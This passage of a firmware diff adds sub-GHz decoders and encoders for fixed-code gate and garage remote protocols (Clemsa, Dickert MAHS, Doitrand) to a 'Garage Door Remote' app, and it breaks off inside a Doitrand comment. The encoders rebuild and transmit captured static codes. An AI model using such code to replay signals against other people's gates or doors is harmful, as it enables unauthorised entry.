+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderClemsa* pointer to a SubGhzProtocolDecoderClemsa instance
+ */
+void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ */
+void subghz_protocol_decoder_clemsa_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ */
+void subghz_protocol_decoder_clemsa_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderClemsa.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderClemsa instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/dickert_mahs.c

@@ -0,0 +1,386 @@
+#include "dickert_mahs.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#include <furi.h>
+#include <furi_hal.h>
+#include <furi_hal_rtc.h>
+
+#define TAG "SubGhzProtocolDicketMAHS"
+
+static const SubGhzBlockConst subghz_protocol_dickert_mahs_const = {
+    .te_short = 400,
+    .te_long = 800,
+    .te_delta = 100,
+    .min_count_bit_for_found = 36,
+};
+
+struct SubGhzProtocolDecoderDickertMAHS {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t tmp[2];
+    uint8_t tmp_cnt;
+};
+
+struct SubGhzProtocolEncoderDickertMAHS {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    DickertMAHSDecoderStepReset = 0,
+    DickertMAHSDecoderStepInitial,
+    DickertMAHSDecoderStepRecording,
+} DickertMAHSDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder = {
+    .alloc = subghz_protocol_decoder_dickert_mahs_alloc,
+    .free = subghz_protocol_decoder_dickert_mahs_free,
+
+    .feed = subghz_protocol_decoder_dickert_mahs_feed,
+    .reset = subghz_protocol_decoder_dickert_mahs_reset,
+
+    .get_hash_data = subghz_protocol_decoder_dickert_mahs_get_hash_data,
+    .serialize = subghz_protocol_decoder_dickert_mahs_serialize,
+    .deserialize = subghz_protocol_decoder_dickert_mahs_deserialize,
+    .get_string = subghz_protocol_decoder_dickert_mahs_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder = {
+    .alloc = subghz_protocol_encoder_dickert_mahs_alloc,
+    .free = subghz_protocol_encoder_dickert_mahs_free,
+
+    .deserialize = subghz_protocol_encoder_dickert_mahs_deserialize,
+    .stop = subghz_protocol_encoder_dickert_mahs_stop,
+    .yield = subghz_protocol_encoder_dickert_mahs_yield,
+};
+
+const SubGhzProtocol subghz_protocol_dickert_mahs = {
+    .name = SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_dickert_mahs_decoder,
+    .encoder = &subghz_protocol_dickert_mahs_encoder,
+};
+
+static void subghz_protocol_encoder_dickert_mahs_parse_buffer(
+    SubGhzProtocolDecoderDickertMAHS* instance,
+    FuriString* output) {
+    // We assume we have only decodes < 64 bit!
+    uint64_t data = instance->generic.data;
+    uint8_t bits[36] = {};
+
+    // Convert uint64_t into bit array
+    for(int i = 35; i >= 0; i--) {
+        if(data & 1) {
+            bits[i] = 1;
+        }
+        data >>= 1;
+    }
+
+    // Decode symbols
+    FuriString* code = furi_string_alloc();
+    for(size_t i = 0; i < 35; i += 2) {
+        uint8_t dip = (bits[i] << 1) + bits[i + 1];
+        //  PLUS  = 3, // 0b11
+        //  ZERO  = 1, // 0b01
+        //  MINUS = 0, // 0x00
+        if(dip == 0x01) {
+            furi_string_cat(code, "0");
+        } else if(dip == 0x00) {
+            furi_string_cat(code, "-");
+        } else if(dip == 0x03) {
+            furi_string_cat(code, "+");
+        } else {
+            furi_string_cat(code, "?");
+        }
+    }
+
+    FuriString* user_dips = furi_string_alloc();
+    FuriString* fact_dips = furi_string_alloc();
+    furi_string_set_n(user_dips, code, 0, 10);
+    furi_string_set_n(fact_dips, code, 10, 8);
+
+    furi_string_cat_printf(
+        output,
+        "%s\r\n"
+        "User-Dips:\t%s\r\n"
+        "Fac-Code:\t%s\r\n",
+        instance->generic.protocol_name,
+        furi_string_get_cstr(user_dips),
+        furi_string_get_cstr(fact_dips));
+    furi_string_free(user_dips);
+    furi_string_free(fact_dips);
+    furi_string_free(code);
+}
+
+void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolEncoderDickertMAHS));
+
+    instance->base.protocol = &subghz_protocol_dickert_mahs;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_dickert_mahs_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_dickert_mahs_get_upload(SubGhzProtocolEncoderDickertMAHS* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short * 112);
+    // Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
+        }
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+
+        // Allow for longer keys (<) instead of !=
+        if((instance->generic.data_count_bit <
+            subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_dickert_mahs_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_dickert_mahs_stop(void* context) {
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context) {
+    SubGhzProtocolEncoderDickertMAHS* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolDecoderDickertMAHS));
+    instance->base.protocol = &subghz_protocol_dickert_mahs;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->tmp_cnt = 0;
+
+    return instance;
+}
+
+void subghz_protocol_decoder_dickert_mahs_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_dickert_mahs_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+}
+
+void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case DickertMAHSDecoderStepReset:
+        // Check if done
+        if(instance->decoder.decode_count_bit >=
+           subghz_protocol_dickert_mahs_const.min_count_bit_for_found) {
+            instance->generic.serial = 0x0;
+            instance->generic.btn = 0x0;
+
+            instance->generic.data = instance->decoder.decode_data;
+            instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+            if(instance->base.callback)
+                instance->base.callback(&instance->base, instance->base.context);
+
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        }
+
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_long * 50) <
+                        subghz_protocol_dickert_mahs_const.te_delta * 70)) {
+            //Found header DICKERT_MAHS 44k us
+            instance->decoder.parser_step = DickertMAHSDecoderStepInitial;
+        }
+        break;
+    case DickertMAHSDecoderStepInitial:
+        if(!level) {
+            break;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_short) <
+            subghz_protocol_dickert_mahs_const.te_delta) {
+            //Found start bit DICKERT_MAHS
+            instance->decoder.parser_step = DickertMAHSDecoderStepRecording;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+        }
+        break;
+    case DickertMAHSDecoderStepRecording:
+        if((!level && instance->tmp_cnt == 0) || (level && instance->tmp_cnt == 1)) {
+            instance->tmp[instance->tmp_cnt] = duration;
+
+            instance->tmp_cnt++;
+
+            if(instance->tmp_cnt == 2) {
+                if(DURATION_DIFF(instance->tmp[0] + instance->tmp[1], 1200) <
+                   subghz_protocol_dickert_mahs_const.te_delta) {
+                    if(DURATION_DIFF(instance->tmp[0], subghz_protocol_dickert_mahs_const.te_long) <
+                       subghz_protocol_dickert_mahs_const.te_delta) {
+                        subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                    } else if(
+                        DURATION_DIFF(
+                            instance->tmp[0], subghz_protocol_dickert_mahs_const.te_short) <
+                        subghz_protocol_dickert_mahs_const.te_delta) {
+                        subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                    }
+
+                    instance->tmp_cnt = 0;
+                } else {
+                    instance->tmp_cnt = 0;
+                    instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+                }
+            }
+        } else {
+            instance->tmp_cnt = 0;
+            instance->decoder.parser_step = DickertMAHSDecoderStepReset;
+        }
+
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDickertMAHS* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+
+        // Allow for longer keys (<) instead of !=
+        if((instance->generic.data_count_bit <
+            subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    subghz_protocol_encoder_dickert_mahs_parse_buffer(context, output);
+}

applications/system/Garage Door Remote/protocols/dickert_mahs.h

@@ -0,0 +1,120 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME "Dickert_MAHS"
+
+typedef struct SubGhzProtocolDecoderDickertMAHS SubGhzProtocolDecoderDickertMAHS;
+typedef struct SubGhzProtocolEncoderDickertMAHS SubGhzProtocolEncoderDickertMAHS;
+
+extern const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder;
+extern const SubGhzProtocol subghz_protocol_dickert_mahs;
+
+/** Allocate SubGhzProtocolEncoderDickertMAHS.
+ *
+ * @param      environment  Pointer to a SubGhzEnvironment instance
+ *
+ * @return     pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ */
+void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
+
+/** Free SubGhzProtocolEncoderDickertMAHS.
+ *
+ * @param      context  Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ */
+void subghz_protocol_encoder_dickert_mahs_free(void* context);
+
+/** Deserialize and generating an upload to send.
+ *
+ * @param      context         Pointer to a SubGhzProtocolEncoderDickertMAHS
+ *                             instance
+ * @param      flipper_format  Pointer to a FlipperFormat instance
+ *
+ * @return     status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
+
+/** Forced transmission stop.
+ *
+ * @param      context  Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ */
+void subghz_protocol_encoder_dickert_mahs_stop(void* context);
+
+/** Getting the level and duration of the upload to be loaded into DMA.
+ *
+ * @param      context  Pointer to a SubGhzProtocolEncoderDickertMAHS instance
+ *
+ * @return     LevelDuration
+ */
+LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context);
+
+/** Allocate SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      environment  Pointer to a SubGhzEnvironment instance
+ *
+ * @return     pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ */
+void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
+
+/** Free SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ */
+void subghz_protocol_decoder_dickert_mahs_free(void* context);
+
+/** Reset decoder SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ */
+void subghz_protocol_decoder_dickert_mahs_reset(void* context);
+
+/** Parse a raw sequence of levels and durations received from the air.
+ *
+ * @param      context   Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ * @param      level     Signal level true-high false-low
+ * @param      duration  Duration of this level in, us
+ */
+void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration);
+
+/** Getting the hash sum of the last randomly received parcel.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ *
+ * @return     hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context);
+
+/** Serialize data SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context         Pointer to a SubGhzProtocolDecoderDickertMAHS
+ *                             instance
+ * @param      flipper_format  Pointer to a FlipperFormat instance
+ * @param      preset          The modulation on which the signal was received,
+ *                             SubGhzRadioPreset
+ *
+ * @return     status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/** Deserialize data SubGhzProtocolDecoderDickertMAHS.
+ *
+ * @param      context         Pointer to a SubGhzProtocolDecoderDickertMAHS
+ *                             instance
+ * @param      flipper_format  Pointer to a FlipperFormat instance
+ *
+ * @return     status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
+
+/** Getting a textual representation of the received data.
+ *
+ * @param      context  Pointer to a SubGhzProtocolDecoderDickertMAHS instance
+ * @param      output   Resulting text
+ */
+void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/doitrand.c

@@ -0,0 +1,355 @@
+#include "doitrand.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#define TAG "SubGhzProtocolDoitrand"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
+#define CNT_TO_DIP(dip)                                                                     \
+    (dip & 0x0001 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'),     \
+        (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x1000 ? '1' : '0'), \
+        (dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'), \
+        (dip & 0x0002 ? '1' : '0')
+
+static const SubGhzBlockConst subghz_protocol_doitrand_const = {
+    .te_short = 400,
+    .te_long = 1100,
+    .te_delta = 150,
+    .min_count_bit_for_found = 37,
+};
+
+struct SubGhzProtocolDecoderDoitrand {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderDoitrand {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    DoitrandDecoderStepReset = 0,
+    DoitrandDecoderStepFoundStartBit,
+    DoitrandDecoderStepSaveDuration,
+    DoitrandDecoderStepCheckDuration,
+} DoitrandDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder = {
+    .alloc = subghz_protocol_decoder_doitrand_alloc,
+    .free = subghz_protocol_decoder_doitrand_free,
+
+    .feed = subghz_protocol_decoder_doitrand_feed,
+    .reset = subghz_protocol_decoder_doitrand_reset,
+
+    .get_hash_data = subghz_protocol_decoder_doitrand_get_hash_data,
+    .serialize = subghz_protocol_decoder_doitrand_serialize,
+    .deserialize = subghz_protocol_decoder_doitrand_deserialize,
+    .get_string = subghz_protocol_decoder_doitrand_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder = {
+    .alloc = subghz_protocol_encoder_doitrand_alloc,
+    .free = subghz_protocol_encoder_doitrand_free,
+
+    .deserialize = subghz_protocol_encoder_doitrand_deserialize,
+    .stop = subghz_protocol_encoder_doitrand_stop,
+    .yield = subghz_protocol_encoder_doitrand_yield,
+};
+
+const SubGhzProtocol subghz_protocol_doitrand = {
+    .name = SUBGHZ_PROTOCOL_DOITRAND_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_doitrand_decoder,
+    .encoder = &subghz_protocol_doitrand_encoder,
+};
+
+void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderDoitrand* instance = malloc(sizeof(SubGhzProtocolEncoderDoitrand));
+
+    instance->base.protocol = &subghz_protocol_doitrand;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_doitrand_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDoitrand* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderDoitrand instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_doitrand_get_upload(SubGhzProtocolEncoderDoitrand* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short * 62);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short * 2 - 100);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDoitrand* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_doitrand_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_doitrand_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_doitrand_stop(void* context) {
+    SubGhzProtocolEncoderDoitrand* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_doitrand_yield(void* context) {
+    SubGhzProtocolEncoderDoitrand* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderDoitrand* instance = malloc(sizeof(SubGhzProtocolDecoderDoitrand));
+    instance->base.protocol = &subghz_protocol_doitrand;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_doitrand_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_doitrand_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    instance->decoder.parser_step = DoitrandDecoderStepReset;
+}
+
+void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case DoitrandDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short * 62) <
+                        subghz_protocol_doitrand_const.te_delta * 30)) {
+            //Found Preambula
+            instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
+        }
+        break;
+    case DoitrandDecoderStepFoundStartBit:
+        if(level && (DURATION_DIFF(duration, (subghz_protocol_doitrand_const.te_short * 2)) <
+                     subghz_protocol_doitrand_const.te_delta * 3)) {
+            //Found start bit
+            instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = DoitrandDecoderStepReset;
+        }
+        break;
+    case DoitrandDecoderStepSaveDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_doitrand_const.te_short * 10 +
+                            subghz_protocol_doitrand_const.te_delta)) {
+                instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_doitrand_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = DoitrandDecoderStepCheckDuration;
+            }
+        }
+        break;
+    case DoitrandDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_short) <
+                subghz_protocol_doitrand_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_long) <
+                subghz_protocol_doitrand_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_long) <
+                 subghz_protocol_doitrand_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short) <
+                 subghz_protocol_doitrand_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = DoitrandDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = DoitrandDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_doitrand_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+*               67892345   0      k    1                    
